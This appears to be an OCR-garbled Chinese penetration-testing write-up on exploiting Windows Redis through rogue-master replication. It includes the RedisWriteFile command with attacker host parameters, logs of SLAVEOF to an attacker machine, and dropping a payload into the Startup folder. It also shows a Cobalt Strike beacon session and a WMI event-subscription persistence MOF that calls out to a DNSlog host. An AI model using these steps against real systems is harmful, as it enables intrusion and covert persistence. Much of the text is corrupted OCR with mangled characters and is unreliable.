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python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_
EHIZ T BRI TR RedisWriteFile (https://github.com/r35tart/RedisWriteFile)
EFAIRIRSS BRI TZHIA (BiR Redis —EEREEIERKIRSEEA1T) -

(o om
TR REE 1#ER0) SEV) =EH)
write test



https://github.com/r35tart/RedisWriteFile
https://xzfile.aliyuncs.com/media/upload/picture/20200624100513-23dc856e-b5bf-1.jpeg

(https://xzfile.aliyuncs.com/media/upload/picture/20200624100513-23dc856e-b5bf-
1jpeg)

Redis fRSZE8FEREBIRE N slave, EEEUEFHBENE:

[3844]1 28 Jun 14:31:85.788 ## Server started,. Redis version 3.68.584
[3844]1 28 Jun 14:31:85.788 = The server is now ready to accept connections on po

rt 6377

[3844]1 28 Jun 17:-23:568.286 = SLAUE OF 168.211.55.11:3148 enabled <{user request fr
om ‘id=5% addr=172.16.172.1:61589 fd=18 name= age=H idle=H flags=N dbh=8 szub=8 pszu
h=B multi=—1 gbuf=8 ghuf-free=32768 o0hl=8 0ll=B omem=8 events=r cmd=zlaveof’>
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Connecting to MASTER 1@.211.55.11:3148

MASTER <—-> SLAUE sync started

Mon blocking connect for S¥YHC fired the event.
Master replied to PING,. replication can continue...

Partial resynchronization not possible <neo cached m

Full resync from master: ZEfifffiiifififtiiiffiiify

MASTER <-» SLAVE =sync: receiving 1@ hytes from mast
MASTER <—» SLAVE svnc: Flushing old data

MASTER <-» SLAVE svync: Loading DB in memory

Wrong szignature trying to load DB from file

Failed trying to load the MASTER synchronization DB

Connecting to MASTER 18.211.55.11:3148

MASTER <—» SLAVE suvnc started

Mon blocking connect for SYHC fired the event.
MASTER MODE enabhled <uszer request from *id=5% adde=1
P2.16.1922.1:61589 fd=18 name= age=4 idle=8 flags=H db=8 sub=8 psub=A multi=-1 gb
uf =0 ghuf-free=32768 ohl=A 0ll=A omem=A events=r cmd=zlaveof’'>
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startup BUZEITERIZUNT

C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
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*id=2 adder=172.16.192.1:58275 fd=? name= age=0 idle=8 flags=N db=8 sub=8 psub

multi=—1 gbuf=A ghuf-free=32768 ohl=8 o0ll=8 omem=B events=r cmd=slaveof’>
28 Jun 19:43:55.638 * Connecting to MASTER 18.211.55.11:3148
28 Jun 19:43:55_638 = MASTER <-> SLAVE sync started
28 Jun 19:43:57.64% * Hon blocking connect for SYNC fired the event. = Redis-x64-3.0.504
28 Jun 19:43:57_645 = Master replied to PING. replication can continue...

28 Jun 19:43:57.64% Partial resynchronization not possible <no
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BN BIES: C\Users\hunter\AppData'Local\Temp\Temp\cmd.exe
Microsoft Windows [fFZR 6.1.76811] _“
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external internal = listener user
Tm 36.112.104.122 172.16.192.154 HTTPS hunier * 0B90

computer

Eventlog X | Beacon 17216192 154@2420 X \—

beacon’ shell whoami

[*] Tasked beacon to xun: whoami

[+] host called home, sent: 37 bytes

[+] received output

0b80\humtex
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BN AR TRISHITR R DS

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter

{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From _ InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QuerylLanguage = "WQL";
¥

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"ping sfas.g9bubn.ceye.io \")";
s

instance of __ FilterToConsumerBinding

{

Consumer = $Consumer;
Filter = $EventFilter;
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B%& DNSlog, WEIiEK:

D Name Remote Addr Created At (UTC+0)

66430256 sfas.g9bubn.ceye.io 60.215.138.160 2020-06-20 12:10:05
66430255 g9bubn.ceye.io 60.215.138.160 2020-06-20 12:10:05
66430254 g%bubn.ceye.io 60.215.138.160 2020-06-20 12:10:05

66430253 agdbubn.ceve.io 60.215.138.160 2020-06-20 12:10:05
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